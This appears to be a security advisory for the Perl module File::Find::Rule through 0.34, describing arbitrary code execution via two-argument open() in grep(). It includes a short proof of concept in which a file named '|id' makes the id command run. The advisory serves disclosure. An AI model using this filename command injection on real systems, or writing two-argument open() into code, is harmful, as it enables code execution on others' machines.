File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.

A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.

Example:

$ mkdir /tmp/poc; echo > "/tmp/poc/|id"
$ perl -MFile::Find::Rule \
    -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")'
uid=1000(user) gid=1000(user) groups=1000(user),100(users)